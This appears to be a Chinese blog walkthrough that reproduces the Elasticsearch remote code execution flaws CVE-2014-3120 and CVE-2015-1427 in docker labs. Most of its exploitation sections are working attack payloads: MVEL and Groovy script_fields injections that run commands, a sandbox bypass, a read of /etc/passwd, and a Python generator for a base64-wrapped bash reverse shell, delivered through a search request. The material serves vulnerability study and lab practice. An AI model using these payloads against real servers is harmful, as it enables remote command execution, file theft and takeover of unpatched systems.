ElasticSearch漏洞复现

ElasticSearch简介

Elasticsearch(以下简称ES)是目前全文搜索引擎的首选。它是一个基于 Lucene 的搜索服务器,提供了一个分布式多用户能力的全文搜索引擎,它同时基于 RESTful Web 接口,可以快速地储存、搜索和分析海量数据。
ES安装部署成功后,默认端口是9200。

ElasticSearch _search API概述

对ES中存储的数据进行查询分析,使用关键字_search。如下

GET /_search    ## 在根目录下检索所有的index
GET /<target>/_search   ## 在指定索引下检索所有文档
GET /<target1>,<target2>/_search   ## 检索指定多个索引下的所有文档
GET /my_*/_search    ## 使用通配符,检索指定多个索引下的所有文档

ES提供查询的两种形式:URI Search和Request Boby Search。

ElasticSearch 漏洞复现

ElasticSearch CVE-2014-3120复现

  • 漏洞描述:
    在ES1.2之前Elasticsearch的默认配置启用动态脚本,这允许远程攻击者通过_search的source参数执行任意MVEL表达式和Java代码。
    MVEL执行命令代码:
    import java.io.*;
    new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\A").next(); 
    
  • 启动环境:
    cd CVE-2014-3120
    docker-compose up -d
    
    启动后,通过127.0.0.1:9200就可以访问,截图如下:
    在这里插入图片描述
    对应的浏览器访问结果,如下json:
    {
       	"status" : 200,
       	"name" : "Hardnose",
       	"version" : {
           "number" : "1.1.1", # 版本号是 1.1.1
           "build_hash" : "f1585f096d3f3985e73456debdc1a0745f512bbc",
           "build_timestamp" : "2014-04-16T14:27:12Z",
           "build_snapshot" : false,
           "lucene_version" : "4.7"
         },
         "tagline" : "You Know, for Search"
    }
    
  • 漏洞命令注入利用:
    1. 启动burpsuite抓包 burp抓包
    2. 在Repeater中修改报文,通过_search来获取payload的响应结果。此时需要注意,如果库里没有数据的情况下,需要先写入一条数据后,才可以注入成功。
      注入命令执行的payload:
    {
    	"size": 1,
    	"script_fields":{
    		"command": {
    			"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    		}
    	}
    }
    
    2.1 注入示例如下:
    2.1.1 没有数据的情况下: 无数据的注入结果
    2.1.2 写入数据,需要用表单提交的方式(Content-Type: application/x-www-form-urlencoded)写入到二级目录(/xxx/xxx)里 写入数据
    2.1.3 再次获取注入结果 注入结果
    3. 文件读取的payload:
    {
    	"size": 1,
    	"script_fields":{
    		"command": {
    			"script": "import java.io.*;import java.io.File; new java.util.Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next();"
    		}
    	}
    }
    
    结果为: 文件读取的结果
    4. 反弹shell注入,参考FastJson远程代码执行漏洞基于JNDI反弹shell使用中【反弹shell的准备】
    或通过下面的反弹shell的bash脚本生成代码:
    #!/usr/bin python3
    # _*_ coding: UTF-8 _*_
    import base64
    
    
    def reboundShell(shell_code):
    	shell = "bash -c {echo," + base64.b64encode(shell_code.encode("utf-8")).decode() + "}|{base64,-d}|{bash,-i}"
    	return shell
    	
    
    if __name__ == "__main__":
    	code = "bash -i >&/dev/tcp/127.0.0.1/9999 0>&1"
    	print(reboundShell(code))
    
    
    结果为:
    bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
    
    反弹Shell的payload:
    {
    	"size": 1,
    	"script_fields":{
    		"command": {
    			"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    		}
    	}
    }
    
    结果如下:
    反弹shell结果

ElasticSearch CVE-2015-1427复现

  • 漏洞描述:
    在CVE-2014-3120之后,ES默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。
    在1.4.3之前的1.3.8和1.4.x版本,Elasticsearch中的Groovy脚本引擎,允许远程攻击者绕过沙盒保护机制,并通过精心制作的脚本执行任意shell命令。
    该漏洞存在两种复现方式:1、沙盒绕过;2、Groovy代码执行。
    Java沙盒绕过法:
    java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
    
    Groovy代码命令执行
    def command='id';def res=command.execute().text;res
    
  • 启动环境:
    cd CVE-2015-1427
    docker-compose up -d
    
    启动后,通过127.0.0.1:9200就可以访问,响应结果如下:
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=UTF-8
    Content-Length: 337
    
    {
      "status" : 200,
      "name" : "Avalanche",
      "cluster_name" : "elasticsearch",
      "version" : {
      		"number" : "1.4.2",  # es 版本号 1.4.2
      		"build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
      		"build_timestamp" : "2014-12-16T14:11:12Z",
      		"build_snapshot" : false,
      		"lucene_version" : "4.10.2"
      },
      "tagline" : "You Know, for Search"
    }
    
  • 漏洞命令注入利用:
    1. java沙箱绕过payload
    {
    	"size":1,
    	"script_fields": {
    		"command": {
    			"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
    		}
    	}
    }
    
    注入结果如下: java沙箱绕过结果
    2. Groovy代码命令执行payload
    {
    	 "size":1,
    	 "script_fields": {
    	 		 "command": {
    	 		 		 "script":"def command='whoami';def res=command.execute().text;res"
    			}
    	}
    }
    
    注入结果如下:Groovy代码执行结果
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值